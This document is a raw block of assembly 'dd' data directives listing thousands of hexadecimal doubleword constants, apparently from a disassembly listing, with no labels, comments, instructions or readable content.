		dd 0E86FD769h, 0A65C6139h, 0C2E02B65h, 0A98118DFh, 93FD48C9h
		dd 6505267h, 0C0A23671h, 4C16194h, 0C74712AEh, 9600F31Fh
		dd 36540B7Bh, 751C00FDh, 38C90233h, 6900E643h, 0BB0C2748h
		dd 32A99155h, 282850FFh, 897BA810h, 628A083Bh, 76145105h
		dd 246BF822h, 7CC6207Fh, 10E08151h, 2F96DBh, 0C37A54EEh
		dd 0DF3DF516h, 0E8B9FF1Eh, 733BF8h, 7568A7EAh, 1E0C96B3h
		dd 87ACCB8Fh, 0F09344D4h, 0E8B8E4B6h, 6CE02AF2h, 94B77500h
		dd 65CCAD76h, 7ED80163h, 3710CE66h, 0C82220BCh,	293DC300h
		dd 82B4BE26h, 6C1401EDh, 66639443h, 0C9A0C41Fh,	81B35804h
		dd 94C0E9DBh, 4A5E5Dh, 224E3250h, 848A29B1h, 3B683500h
		dd 0CA114D3Eh, 85DA0001h, 15C7F7B7h, 9E63EE12h,	0E2257961h
		dd 5AA62063h, 0A3D6DCCh, 32D9C26h, 17D6824Fh, 53EDB700h
		dd 1D8CA44h, 0EED5CF73h, 80A5FEC3h, 0F105D948h,	6B892h
		dd 1C0D979Dh, 5C8B372Ch, 59786600h, 5DACFC44h, 135F007Ah
		dd 4152164Fh, 7002A9Dh,	1418AB54h, 6045D01h, 0DF598172h
		dd 3D5E50F0h, 223AD7ECh, 309B129Fh, 4676A811h, 0E319C300h
		dd 3806279Ah, 3B9EE2Dh,	0A38CBA85h, 7583FFFAh, 5B4557F0h
		dd 936B380Fh, 0DDD50013h, 0F826E6B7h, 3F1830CAh, 7C961466h
		dd 0A9F75900h, 0AA3AF322h, 81190E1Ah, 4BA333ACh, 0F1F0F51Bh
		dd 2E00C2D6h, 673B75C9h, 0C80B01Fh, 4E74485Ah, 0B9003E88h
		dd 3315AB1Eh, 54E0F2h, 0C797FEF9h, 0F6B345B7h, 984F8C06h
		dd 0A036B8h, 0BEDDB4E3h, 89C3E2DBh, 0A807C500h,	3CC25CFAh
		dd 771ECB9h, 0B82D9B32h, 0AE44105Dh, 270F400Eh,	6BB92005h
		dd 429380BFh, 0AD1622h,	9064A6E6h, 144DEC3Bh, 0CF23CD07h
		dd 0DF10BCEAh, 1C97F0Bh, 0BB06E405h, 0F46B152Bh, 700018C8h
		dd 63467E6Ch, 22AE20Ch,	39662E55h, 0FA6017F7h, 1439BC3Fh
		dd 0DFBA0238h, 407008C4h, 84731Ch, 1E266829h, 0C6E12FECh
		dd 4900FFF2h, 0A164DBB3h, 5B9D4Bh, 169FD6D5h, 0AD8A1982h
		dd 33DE4300h, 0E617060Eh, 0DA970311h, 7298259Ch, 8FAB67E0h
		dd 0ED87C704h, 0D080A1E2h, 31B472Ah, 6CE4CFFFh,	0ABA11456h
		dd 8CE48778h, 359030E7h, 736C01Bh, 5FFD7BFBh, 346CB068h
		dd 9020A63h, 2E86BF20h,	7C244894h, 0D1DE00DCh, 44A9B836h
		dd 18C743BDh, 95007BC3h, 0F0838EBh, 0C587F19Dh,	97F8BF41h
		dd 23118082h, 92592AB8h, 0EB9A0024h, 0E7F00F08h, 340070CBh
		dd 0D098355h, 508D6B1Fh, 0C17C020h, 0F2E7D4BFh,	0E903BA40h
		dd 1CD87646h, 80CFCA0Fh, 0B6CD02C4h, 5DE51E86h,	0D588622h
		dd 133A6EAAh, 699D8094h, 0A6BB7779h, 1E1D034Ch,	26113027h
		dd 0E04FDEB1h, 0CBE8C6F2h, 0A7335900h, 8AB748CEh, 0EC263CC8h
		dd 3BD30582h, 0A087370Dh, 45560CFCh, 0E8ACD000h, 93E6314Eh
		dd 0A8C650C7h, 1337B66h, 0B31F2571h, 48681E36h,	5D3026ACh
		dd 67BB1020h, 597630D3h, 66724478h, 0BE7CC500h,	0FC82EFCFh
		dd 5768012Fh, 0A9370212h, 0AD5B3027h, 3A8A7E00h, 5E6B85Bh
		dd 0C8D248A5h, 17EE84Eh, 0F6AD5F85h, 0C3E81BA9h, 0C7CE07A1h
		dd 0E0C9E42Ch, 0D59BF459h, 763D321Fh, 2556E680h, 0C13F38h
		dd 607B9965h, 67DE798Bh, 49F03900h, 0FA8AC41Ch,	0CD740BE1h
		dd 90807C0Dh, 96A33A77h, 58C1F07h, 0E0232B3Eh, 5EBED1D3h
		dd 6846D0h, 4A5B4718h, 0D2BFD5BCh, 0BDE2B604h, 0C02439h
		dd 0F6868564h, 796800CFh, 409CB773h, 410958EFh,	67AD6Dh
		dd 2D27558Ch, 83261EC7h, 0F12261Ah, 2040FA0Dh, 0A37BBE4Bh
		dd 0D9153D00h, 0E46F2867h, 73E000AEh, 18ACED88h, 5E04F992h
		dd 0B6E7E253h, 0DFEF13C0h, 2E310CBCh, 2C287456h, 9C008CE8h
		dd 36487C64h, 30F68D44h, 5E49FBE8h, 7000F2Dh, 173C017Fh
		dd 1B3420Ch, 0DD81C4D3h, 30A3FD2Ah, 1E0568E8h, 0C9278C19h
		dd 89B5B800h, 79381C7Ah, 0A0F09828h, 0AD2EB3h, 5CDD6C25h
		dd 87D3AA23h, 0E7CB726h, 0A20ADC00h, 1210FCF2h,	35AF3Fh
		dd 8C558278h, 7400B3B5h, 0D6C1F027h, 3E3F9B4Ch,	268F1B9Eh
		dd 6004204h, 4A715D49h,	0C20088A4h, 0ECD77BB0h,	50E6DBCAh
		dd 0C181CEh, 0FD193076h
		dd 0AC6BDA27h, 12C97024h, 0EDB98F03h, 8372A055h, 0A5A82E54h
		dd 0ADBB01D1h, 0C81A4C78h, 8000F575h, 0BAC255D6h, 7C47C3h
		dd 0DE8AC549h, 3D8524AFh, 8EEF8B00h, 65949544h,	0F942009Dh
		dd 7F198F3Eh, 4303A833h, 0D38526B7h, 75BC8066h,	935A07FAh
		dd 0D0914EBFh, 0F046CDCCh, 0CF34770Fh, 3161A47Fh, 606EB8C7h
		dd 0DA9C8695h, 0FEABF438h, 0CE8E0011h, 29772EECh, 0A400C906h
		dd 7B6D6A9Bh, 1815A291h, 0F642311Dh, 2739D780h,	579C1247h
		dd 3CBFA0h, 4B0D26BCh, 0E9C5F822h, 4381110Eh, 16C9C062h
		dd 1FBD1CAh, 9F547032h,	0D8875D95h, 3603A0BCh, 81062027h
		dd 0D27DA8B8h, 0CAF46Fh, 0A028BDE7h, 0AFDEA65h,	3552A400h
		dd 166DA920h, 93FB0006h, 7088683Bh, 4F002B97h, 0D80599F9h
		dd 12ED09DDh, 0E8F8FCh,	1255AE90h, 1D0041E5h, 0D005E9B8h
		dd 3AD3A7h, 0AAEE544Eh,	0DC6D8FCCh, 0C8001A7Ch,	0E9ADC99Fh
		dd 58065082h, 0D3A10D9h, 0AB933F80h, 0F9F41AF6h, 7E387100h
		dd 9A273028h, 0D2960053h, 59F7E44Ah, 0B1025B0Eh, 0CBBCDDC3h
		dd 296BE0A2h, 37200151h, 0C0423550h, 0ACE0EF41h, 9B0080E6h
		dd 815A479Fh, 78F7491Ch, 64B600FBh, 0D4F4E151h,	0C000617h
		dd 0B04BD661h, 0C0D56549h, 965FFA19h, 9B004037h, 123057E2h
		dd 1BC8167h, 72456E0Fh,	0C417D509h, 0A7007407h,	0D14BB21Eh
		dd 0EC05D0h, 2097659Ah,	0E935A0F5h, 4A78A300h, 8DD9BDD7h
		dd 309000F9h, 91CE0648h, 533A1327h, 1276806Fh, 0A6D1D95Ah
		dd 0FEAF16F1h, 0D00CFACBh, 1D9E180Fh, 0F70829h,	0D4388F20h
		dd 3698BC2Fh, 8043A93Bh, 9489B057h, 6007C808h, 49342039h
		dd 591EFAC4h, 3BD32Bh, 1E48DD3Fh, 0FC00982h, 0D0B97873h
		dd 0DC00B5ABh, 3CE3810Dh, 246A423Ch, 57009274h,	596F155Ch
		dd 4D7200EBh, 8E02D3C4h, 9600D934h, 5AFF6B07h, 7CB21FA9h
		dd 14DC003Bh, 0E7F49A2h, 230F4D31h, 0C0665459h,	908E2993h
		dd 99793E74h, 0AD1CB780h, 0C9D7C703h, 0A8FEAC03h, 0C816B2BCh
		dd 36C839h, 3B43E56Bh, 0A652971Ch, 7EFD3700h, 88C5D774h
		dd 219809E1h, 1580B6ADh, 0F4A9A005h, 7B343Ch, 0B3FC0271h
		dd 391C51Dh, 0A696982Fh, 6EA06727h, 45007656h, 3F87E5B1h
		dd 6F7539h, 9C436B4Eh, 80CF4759h, 5CB80F00h, 0A7240AD9h
		dd 96851CDFh, 1A814061h, 3F4CB0EEh, 62BBE407h, 53D0DE80h
		dd 7FDB5h, 0A89FA596h, 40F51E17h, 0E9048C02h, 0E0EED9FEh
		dd 0EFD07Ah, 3A1D575Fh,	9C9F2F6Ch, 0EABB0D00h, 4AD9E9DEh
		dd 20E8EFh, 0E1A6D4C4h,	327B9B49h, 0EBAF0400h, 3B5F25F4h
		dd 0E59C0091h, 7967741Fh, 0EFA0B94h, 0D42B6407h, 0F36727ABh
		dd 8F3960A0h, 0FD7A00A9h, 1F8932F1h, 0CC007794h, 6FA52B8Ah
		dd 7576A439h, 76C490D3h, 0AA32006Dh, 17BBEEA8h,	6E008452h
		dd 951EB567h, 58DBACh, 95496B0h, 2CD6A164h, 0A9E4801Eh
		dd 0C85E149Dh, 0D77DEC0h, 4A916Ah, 0C11C722Bh, 0BC13F3E5h
		dd 43C9CE00h, 84BA8666h, 78591D7Ch, 19440ACh, 4D8734E4h
		dd 58BFCD00h, 7C438549h, 2FD11C7Eh, 0AD6F4019h,	0F0CE8F9Dh
		dd 0B8BAFB3Eh, 2B2280BBh, 0D1518C7Ah, 0A5DF0057h, 941B1229h
		dd 0D6003926h, 6964CAD3h, 18937A0h, 4053082Ch, 0DFBCF2E5h
		dd 0AFC96A07h, 49FC97h,	1D44DB88h, 90127B0Dh, 294002Ch
		dd 0CB2BBF38h, 95014668h, 4C9F118Bh, 0BE06C64h,	5E000B5h
		dd 3BC65153h, 0BD008450h, 6B49AF7Bh, 76F2768Ch,	9B00074h
		dd 2CE8B792h, 0B1245005h, 0B30F108Ah, 16D92148h, 84D87943h
		dd 3D5FEC0h, 4CB2DC54h,	96B8D1F0h, 34001C93h, 2BCE6CCAh
		dd 0F54519h, 7809EEDBh,	0BF639D9Fh, 5F320500h, 0CDDA7511h
		dd 71BB0033h, 0B5A1FE19h, 8300B322h, 0E8616EDh,	0BC570Ah
		dd 0C41942B0h, 0B3A3C03h, 0D7E49D0Fh, 0A6401D2Eh, 1D027FF8h
		dd 76E600E3h, 0FC1E8CEAh, 0A800DF93h, 0B8ED6E8h, 1ECA3B74h
		dd 804D08C5h, 78512EB7h, 0C90521F8h, 0ABE06B47h, 178099C7h
		dd 54D086h, 0F583EBA0h,	80D4DD02h, 0C376DC00h, 0A87E0FE8h
		dd 0C82700F9h, 62F11ACh, 44F65A08h, 498F414Ch, 62DC009Ch
		dd 4F5FF4EDh, 631903D9h, 914B10E7h, 0ACE8DAE8h,	36B65C00h
		dd 4ADB31D8h, 0E20D0045h, 6D6E1CE4h, 0CE3C12BCh, 97B100D0h
		dd 0DCF8F221h, 0C560099h, 3531FEADh, 6C265F49h,	4300F88Eh
		dd 24B60E4Eh, 1BE60BC9h, 0EE81554Ah, 0E4DCF1EBh, 3C1D644Fh
		dd 4C1DA4A0h, 291C58C0h, 2E93CB70h, 3CF55652h, 0A5D5AE80h
		dd 207E770Ch, 7BBFDD00h, 6B0FCD7Fh, 8974007Ch, 0C5063518h
		dd 5FFEF817h, 2CB9D001h, 94E7B07Eh, 12EBC30h, 374DB6E2h
		dd 0D43B3E9Fh, 0CB07DC2h, 94820D00h, 10A8F63Fh,	964962FCh
		dd 3437A16h, 6AE989B0h,	0EAF1DB17h, 143A8500h, 90888DAAh
		dd 0D5640654h, 117842EBh, 3860B717h, 70B405EAh,	0C3AC8011h
		dd 0CC007357h, 0A47FEE32h, 274E3F3h, 62123BA9h,	60C94F29h
		dd 0D26C2087h, 0A2D98D01h, 0B0AD55FDh, 0C051509Ch, 0F8FBCC4h
		dd 9C00214Dh, 0BE193A88h, 586E354Fh, 7B3EEFC0h,	8EB8000h
		dd 0F21E3963h, 4DC5CF00h, 5607F511h, 6030B89h, 480E9F9h
		dd 86C13D66h, 96C89E0Eh, 0E4420078h, 5850F7A5h,	411DAAD2h
		dd 17D6008Eh, 24DE46B9h, 8A49771Dh, 0EFC6A8F0h,	2E53073Bh
		dd 0A044FA6Ah, 2939AF0Fh, 18BA9600h, 568C6448h,	0B2301F2Dh
		dd 0BBD21EF9h, 147FACD0h, 0B3884CCCh, 35B01D01h, 0C770D844h
		dd 0AC1290A8h, 0C499B402h, 42025606h, 92958337h, 0CAF0A72Fh
		dd 3CDF2C0Dh, 0EE97321Fh, 22B6004Bh, 0CBACE5Bh,	1C05F02h
		dd 6025F5CAh, 0FD99C9F0h, 73B5E0DBh, 0DC7B0085h, 0B15C245Dh
		dd 39007F89h, 83234CC7h, 1E54EC4h, 0FB33F167h, 60699ED5h
		dd 0A000F819h, 269DC3FEh, 7D3A81h, 2217BC0Ah, 6EA79E35h
		dd 4C6DBD02h, 60FB2F9Ah, 51490Eh, 92276188h, 0DAB467F1h
		dd 69464B00h, 7C50A6E0h, 0E8C80042h, 5773EFFAh,	9898361Ah
		dd 0E9453Ah, 91A4D2F2h,	37A9F94h, 0EF8D94Eh, 7880F782h
		dd 47F62814h, 7F042C00h, 1645EE4Ah, 0D6600007h,	7BBA97D8h
		dd 65000190h, 5A3FE7BFh, 18D70B1h, 10A124F4h, 0F57C91B9h
		dd 0D878E358h, 0EB0EE90Ah, 39EC95h, 72BB7B33h, 0B1256B7Eh
		dd 0E2B4005Ch, 0FEF84917h, 2DAFA207h, 803B0278h, 0FA3B1AE4h
		dd 942205D0h, 805E9106h, 0FE417198h, 4BB8AB2Ch,	13596203h
		dd 96EBBDh, 916C5768h, 0FF46832Ch, 0AEA22400h, 2E708E69h
		dd 0DA10052h, 0C97821BDh, 6C301432h, 0E742D899h, 9FF400E9h
		dd 0FC79AA10h, 0C730DB1h, 0B5878200h, 96541148h, 204330C6h
		dd 212C9768h, 7FBF0404h, 3DC07173h, 0DA4B84h, 804FB691h
		dd 2EC20B19h, 0D4CF3200h, 97DEF36Fh, 853A001Ch,	0DC591F77h
		dd 80C08DB1h, 4A0698A9h, 2826E84Dh, 809F7Dh, 4574E468h
		dd 8A355108h, 409CD900h, 14E77D58h, 0D7C40CF6h,	0A3909239h
		dd 0D10CFD01h, 265F0E3Ch, 4052BD0h, 15A45B84h, 35FC8107h
		dd 7007DF42h, 0F410B8FBh, 800B0837h, 66E2CF0Fh,	0D1ED00A9h
		dd 4EA7FEC0h, 22E077A5h, 1E82B900h, 0F9C4194h, 0E9C10154h
		dd 6545ECD0h, 0BC5080B3h, 0CBD42F5Bh, 10C000CFh, 0ECC9AD88h
		dd 76001DAFh, 256A3696h, 9A852C5h, 8F377126h, 0F4D148A0h
		dd 0D400F6DFh, 27EF6217h, 1FBEBBBh, 2F7BD5F2h, 0F0F93D13h
		dd 5F007E4Dh, 0B2C81AA2h, 16AE062h, 46902775h, 7030D207h
		dd 0D6406490h, 54DF1C4Fh
		dd 0F59A4015h, 0FFBBD0C1h, 81FE1E00h, 1997987Dh, 0F730280Ah
		dd 36A5009Fh, 7EAA03EAh, 4500D21Ah, 71678D6Bh, 8524CCh
		dd 73270F1Bh, 0E9B282C8h, 2F8484Dh, 0DE171A2h, 5C9860D0h
		dd 0E3E202AEh, 1E0892DBh, 70C78C80h, 130FC333h,	23FDF33Ch
		dd 0B0D819F2h, 24E804C4h, 247CD7F0h, 3A3F00E8h,	87D9ADCDh
		dd 8BB6525h, 0EA039C1Ch, 80306DD1h, 0FB6271Bh, 692A38Fh
		dd 70E1C07Ch, 911D2D75h, 4980CB16h, 62161F00h, 5C31BB3Fh
		dd 710068F8h, 0E2D839C1h, 0E700C77Fh, 9703A3B3h, 53445Dh
		dd 9D7A8583h, 0BAD745BBh, 0A4230500h, 47574AA7h, 0FBDF0049h
		dd 93365BC6h, 0BC095D3Fh, 8079AF73h, 0A96CB6FBh, 5B4000B2h
		dd 0DADFB1ABh, 0BE002554h, 0B6DD23D5h, 48774999h, 6100083Fh
		dd 5F29D8C4h, 0B005A16Dh, 1A1D9C19h, 32E2B280h,	0E4E60076h
		dd 3454BD0h, 5B1D8373h,	38540930h, 0E84100A8h, 0D5F00876h
		dd 9C6B50CCh, 0B1423DE9h, 14114A80h, 0CE280B86h, 9000D6F8h
		dd 0A6B8C06Ch, 2098BEh,	0DFBB0FC5h, 28063A69h, 8B3D7302h
		dd 411F1E3Eh, 508044E4h, 1891560Ah, 0DB7446F2h,	5860C200h
		dd 92A90193h, 1E0C1E3Ah, 0D35A80FAh, 0A2AF14A1h, 530030E0h
		dd 0EE169EBAh, 9F790CDAh, 4EB43EC0h, 0A0D7E000h, 909D1DF8h
		dd 881C07D3h, 0A0615632h, 0F2E63E3Dh, 0FA23Ah, 0B59C0835h
		dd 5ED003h, 0F1581227h,	9469BF4Dh, 43B36A00h, 19B6E028h
		dd 58EAE874h, 49037656h, 5CF2D4ADh, 90342BA0h, 0AE9448h
		dd 53A329BFh, 4C96447Dh, 0E8001C7Ah, 0EA5DDA42h, 32003E2Dh
		dd 84534D98h, 97AE0FEh,	80AA0527h, 0C70CCD82h, 77AC8040h
		dd 1E6CD63Bh, 300A27Ch,	0FDDAB75Bh, 1E1B009Ah, 0C37163Dh
		dd 0CD0052F1h, 46746EEFh, 8F7535h, 0F898789Eh, 0CBB82E10h
		dd 0B0C05590h, 72B41188h, 0F95E000Fh, 0A4906975h, 30E7F570h
		dd 90907D5Ch, 6AE630Bh,	0A2780039h, 6073906Ch, 0B5BC404Dh
		dd 8D00564Fh, 85653BDBh, 7EB2FC18h, 7620CB0Ch, 31298480h
		dd 3900CA79h, 1C06A360h, 0B04828B1h, 30AA008Ch,	0B4F99067h
		dd 532EA0ACh, 803B90B7h, 9E9B127Ah, 30EB34h, 9C268FDAh
		dd 1A1B5529h, 85CF7400h, 7DEAE493h, 469F004Ch, 5DD5C08Ch
		dd 0CC0B56D0h, 0FDD35Bh, 75410D3Dh, 0CA040008h,	2E01CEA0h
		dd 500EAAF3h, 1F1A36E0h, 8DE388C1h, 21814B18h, 16868272h
		dd 55B6F066h, 96692700h, 1C2F5AFBh, 716E0075h, 1619F6DBh
		dd 571E70FCh, 0A680E9E2h, 2279A03Ah, 0E18D002Eh, 87C0C767h
		dd 58C0D18Eh, 0E815F3E9h, 0C39E0F6Bh, 92C36A50h, 33E86C96h
		dd 1900F1AEh, 409FE7B6h, 0C0490E8Ch, 73BB3291h,	5C9E926Bh
		dd 0B7E7D203h, 0B859F307h, 60FEB12Dh, 972990DAh, 39C92C27h
		dd 0EEE60075h, 6AA9A9Bh, 0B03759CFh, 940E7860h,	6018078Ch
		dd 661D1DBh, 491900F7h,	0A5AB3965h, 8A030AA6h, 258DC2B2h
		dd 0B7210092h, 0BD662DADh, 0F800A16Bh, 2B2FF65Ch, 1452A1Fh
		dd 0AC72260h, 0FC34ECEAh, 8F789219h, 78556403h,	897DD5E9h
		dd 0F3F8C661h, 5C70016Fh, 5FB79B15h, 269C4249h,	7AA73EE0h
		dd 0B8E02C01h, 38CDEC58h, 5BC09844h, 6137C294h,	0E48A103Dh
		dd 404CD95Dh, 0D88414D0h, 19E68516h, 0A1BF7300h, 72D904F5h
		dd 20EC0754h, 40F92D4Bh, 36A7437Eh, 72D40100h, 4C76A31Dh
		dd 0D2A81C0Bh, 0AA638E5Bh, 0F6E3CBAEh, 64C08D78h, 0CF58DCC8h
		dd 0B9D80050h, 0B1B07628h, 42070035h, 21FE0693h, 0AD1D2699h
		dd 0AC80E3E0h, 0A61F3C5Dh, 4A9C4872h, 5810700h,	0B408EB52h
		dd 8EBE3700h, 0BFE63B9h, 0FB3400DEh, 0D71C49F9h, 7BB8E390h
		dd 80BBA51Ch, 178804D4h, 4700E67Ch, 0CF929DEh, 16F50087h
		dd 12BBECE3h, 8C0298B9h, 67B67CE0h, 30B4E07Bh, 29E003Eh
		dd 5C87532Eh, 8600FF9Bh, 9FF864EFh, 54692C9h, 4B41C6DDh
		dd 93BD0E3Fh, 2E060502h, 345EB080h, 60030EC8h, 0BD1946EAh
		dd 0C18752Dh, 0A02E91AEh, 0A200E811h, 0B215B7EAh, 0F3F17Dh
		dd 58BF39B6h, 53CED530h, 0AA81AE00h, 502CBCD9h,	382860B3h
		dd 724375FAh, 0EDD47C00h, 691CFC4Ch, 8940024h, 0CC0C593Bh
		dd 3C90071Bh, 139D3800h, 0D629FFAAh, 226A0196h,	89D5AE8Bh
		dd 0B3D84152h, 934080F9h, 767DC9EEh, 0B775EBh, 7C6746D3h
		dd 4C71FE14h, 2132900Ah, 54038C2Bh, 0F9E2A889h,	4D858C3h
		dd 376A0098h, 4C957626h, 0E8014282h, 5040EC09h,	0A43C8CD4h
		dd 8A968B0Ah, 0CD1200ECh, 0BCF7DB3Ch, 1E00827Ah, 0BD65ED2Ch
		dd 4991C1h, 1A058586h, 0D12221BBh, 8AE16F00h, 3BCCCA33h
		dd 0C57C002Fh, 0DC77200Bh, 0F9003915h, 0BC608F5Bh, 0DA7684h
		dd 3CDD64BDh, 8EFF4922h, 0A2A3A800h, 0D847109Fh, 10B84D07h
		dd 79C4BF00h, 0B139B27Fh, 0E0278637h, 96140BE0h, 5A583CE5h
		dd 11691D80h, 0CD82E377h, 0B036F89Dh, 317660F2h, 327FF8E9h
		dd 5F4BD811h, 1FD9F001h, 0C46C37B9h, 0C8A0057Bh, 0B200FE18h
		dd 7345130Ah, 1F2FC9E0h, 40435DDEh, 0F7D9B8E2h,	0EB387F11h
		dd 0C2ED80F0h, 0A1CDDDB5h, 0D4365002h, 490E5BF9h, 80B41F0h
		dd 0FA33F040h, 0EC47BF0Ch, 18C52835h, 0A07C628Bh, 304D37EDh
		dd 39740E0Ch, 31128095h, 6072DD65h, 0FCB34960h,	0B509555Bh
		dd 80BB2CF3h, 21E7C98Ch, 7F8C0C71h, 0A7511F5Fh,	9318CDF2h
		dd 0AF1077AAh, 0FD23000Fh, 0A83CBD68h, 0CB00010Ch, 3844F2Ch
		dd 24E607C7h, 63FDA0h, 3EB032D9h, 9A012886h, 0FB853B65h
		dd 4C60D15Bh, 3A702FB6h, 2F1A6800h, 7C179F75h, 7C00C336h
		dd 0D8296691h, 4F9EA0C0h, 4E56001Fh, 671B3430h,	480F3304h
		dd 80884751h, 9BB95E1Ch, 3F3700E6h, 244AE57Fh, 0A8005B35h
		dd 0FBD95A65h, 908364h,	0B49B15Ch, 0C15F0EC4h, 269A8800h
		dd 4C282297h, 0DD6200CDh, 8D3FC9F3h, 315C322Dh,	0A489503Ch
		dd 56BDA900h, 17184E8Ah, 1D1A13B0h, 750B00CBh, 781ABB5h
		dd 6442C00h, 48B452A4h,	0E0713Eh, 17D66E4Eh, 380AE17Ch
		dd 0E85DE600h, 354FC2BAh, 49A01D22h, 1F6D007Fh,	0C897AC95h
		dd 10057627h, 0BD9170h,	0E6BABF4Bh, 8EFA9AB9h, 6748B60Fh
		dd 0C67B40B7h, 0F84C2A69h, 60847D42h, 0BB1E7043h, 0C116149Ch
		dd 0B43366C0h, 0B4784CECh, 0ACF22E03h, 0D1E85338h, 1400B15Bh
		dd 0D5E1329Ch, 0D95DE7h, 25480150h, 79EEE0B8h, 878FA900h
		dd 1068D00Dh, 0C4C31488h, 0D280CC83h, 64ADDFBEh, 0A9623600h
		dd 3B07FAB8h, 0AE1F1EC1h, 3D718015h, 9B1D7A93h,	1271700h
		dd 6F06DC09h, 193C0266h, 6443B526h, 0B23AC80h, 0C7C1CB4h
		dd 0E0F253F6h, 767F8F00h, 464C99A5h, 9E0500C9h,	0AA26D27Bh
		dd 0EF0097D5h, 6AC5BE5Dh, 922821h, 0A95FC491h, 0EBB0E633h
		dd 50002376h, 0B76AD9B1h, 0FAB4F336h, 47E000D2h, 20E9829Bh
		dd 6D0049A5h, 0FF944E4Fh, 708F21Bh, 0CEB65651h,	0FD30787h
		dd 0F48DAF20h, 2000BE75h, 73666417h, 0C038DDh, 552C85A4h
		dd 370AEC6Fh, 2E26AC00h, 6773A81Dh, 0D35100F1h,	0F32DA38Bh
		dd 6400C3EBh, 29A48AD6h, 0ED0761h, 27A9C53Eh, 0C24BD741h
		dd 81C38900h, 5AD2178Dh, 0C87B1CD1h, 0A715C085h, 6AF5C1E9h
		dd 9A09BD7Fh, 68AB24BCh, 7DE088h, 8FDA6358h, 79042FD1h
		dd 3A093C00h, 4FC01FD0h, 96C60456h, 80330728h, 4049E6B4h
		dd 31F9B91Bh, 83D79810h, 9FEE0016h, 5A1CC80Ah, 4A77FF81h
		dd 4C36AC03h, 0B09A8345h, 385E7319h, 0CC8032A8h, 70A567CFh
		dd 0A2EEA753h, 54C60524h
		dd 443BDC00h, 70B8AD8h,	13656D40h, 90E24486h, 17D4FD5Ch
		dd 0DCB8602Eh, 0CF541400h, 48502EE3h, 80072535h, 90675857h
		dd 40A27041h, 1C8C5900h, 0A5F1F748h, 831A00C8h,	7A2813D4h
		dd 11002CABh, 0E87D9CB8h, 93DAF0h, 0D88757E2h, 40378C74h
		dd 0E6F2000h, 0BC8166D7h, 17851C68h, 64BEC551h,	5084E0BFh
		dd 2FD3A000h, 0EF07C83Fh, 0FE27006Eh, 0E7363292h, 30139E51h
		dd 930902A6h, 0D0140048h, 0F4603Ah, 0B2C4A907h,	0BE1F9BBBh
		dd 9E621C00h, 22CA4EAh,	2D5500B1h, 41E6DC8Dh, 96050F31h
		dd 740C9715h, 4829D800h, 28D5C3h, 72EB6752h, 0BF9B2A23h
		dd 14499F17h, 0DDC0F21Eh, 5ECE8F85h, 9193078Ch,	9764A848h
		dd 81B1F5F2h, 0D490B664h, 5400423Eh, 918CEE5Ah,	0EFD1FAh
		dd 45B81032h, 6A09B2Ch,	0C439A2Eh, 8D55E005h, 307C20C0h
		dd 467300BBh, 0E9FEF1Dh, 0F6002FDDh, 440F3BD8h,	4D29F0h
		dd 82622DC9h, 704B83E6h, 0EFBB0500h, 92D1E2CFh,	0B57A132Ah
		dd 0FEC400C4h, 0DF117178h, 86263090h, 7B0077DDh, 0B1AC4A20h
		dd 0DA38003Bh, 0B4312343h, 0BE3A5A6Eh, 8CB0878Fh, 83D1E4DEh
		dd 0C84016B7h, 60E6615Fh, 564158F8h, 600DD78h, 1E81043Ah
		dd 71D153E4h, 10A9011Ah, 0B89F748Dh, 2318099h, 0C3A22C9Eh
		dd 493100D7h, 8BFD4A12h, 2912D28Fh, 2F0038BBh, 5F975CCCh
		dd 0FA0E2DA7h, 0F596F410h, 4AC56E00h, 589821Bh,	0BA1600EDh
		dd 0DBF367ACh, 0E0C0B2D3h, 10AE1975h, 4B170032h, 1A4FCF88h
		dd 0A800DECBh, 2615ECE6h, 0C3AD16A5h, 0D2F741D0h, 501701BCh
		dd 46C8FA72h, 2D56007Fh, 0E5524BCEh, 0DF002EDBh, 300CFEACh
		dd 0EC70E2Ah, 0DC0FBF4h, 7F104F20h, 2F54D2CFh, 330486A8h
		dd 0A3C249E4h, 0CC8A70C0h, 2FD039A7h, 17B4B184h, 0F678D09Fh
		dd 0A100A437h, 0FF6F8774h, 18955Bh, 20D33E2Ah, 48F08097h
		dd 9F657E00h, 81B62F08h, 0EABC01C0h, 53E2EFF6h,	75C8800Fh
		dd 7C094AE4h, 0CA601E33h, 4B46C5C5h, 5778B08Eh,	253032FEh
		dd 0E540D888h, 1E498DEh, 3891277Dh, 0CD66FE1Ch,	604CE88Ah
		dd 32085Ch, 6916E01Eh, 173BC57h, 0B047B96Bh, 80708191h
		dd 7E9B448h, 1D431AFh, 50FB84ADh, 0E86917D2h, 6E3167E1h
		dd 2B932810h, 0A8208AC1h, 423800DFh, 3626766Fh,	98BEE6C8h
		dd 0A9C0461Fh, 9A4CBB15h, 25C10459h, 0C0C9D471h, 28817BB5h
		dd 0CBCD3300h, 2362080Eh, 0F9830051h, 4D16C814h, 0B92CF55Dh
		dd 2503B4B8h, 0F3E5D5D4h, 1CA380F1h, 989CF652h,	0F63A0088h
		dd 0DAF38879h, 0AC00AD03h, 91379746h, 980E3E19h, 5459007Ch
		dd 0DE573878h, 300010E0h, 65016D97h, 2EA69FB1h,	4781F69h
		dd 0AD59395Dh, 0A8483448h, 0C51348A8h, 0C68C0012h, 0CF514515h
		dd 27AE98C0h, 79C9C0h, 0E7ABAC17h, 94BC6848h, 6A252A48h
		dd 1300A2A0h, 268278F4h, 9590CFAh, 29893E3h, 667A8BE0h
		dd 3A00ABE4h, 0A96FCF8Eh, 30382131h, 72974BFh, 91F42D51h
		dd 5E02D600h, 95A8BBF1h, 0F4E4A08Ch, 0AAB07C7h,	0A03B62A5h
		dd 0C0740B90h, 4AA72600h, 2FAC4B5Bh, 33214BAh, 8E00E015h
		dd 7512DE8Bh, 5D094720h, 0E8880B48h, 0F01AF4h, 8BD534C3h
		dd 0F2CBA16Bh, 0A898A576h, 7F4CC858h, 0D0617003h, 809306FBh
		dd 6A0A7Dh, 0DB6CC56Bh,	0DDC64880h, 0A61F7E00h,	0D4CD351Ch
		dd 0A0DF9087h, 0DB2CCh,	0BD821E57h, 0E925CC46h,	42774800h
		dd 0F86D6CC8h, 0CF5200FEh, 6369F42Eh, 0E007655Eh, 2CBC14A1h
		dd 90B754F0h, 6FFE99h, 0CB271201h, 0A0076ED9h, 1B5E4E02h
		dd 0FD492B92h, 0DDE8E003h, 300FD499h, 80E5BF7h,	8083BC27h
		dd 596BBE2Ah, 0D8FF00D7h, 2E60CEC9h, 43005CAAh,	0B0B78525h
		dd 0EC65FB53h, 0B49D00DCh, 0A63D90CFh, 0EE00BA05h, 0B7969C6h
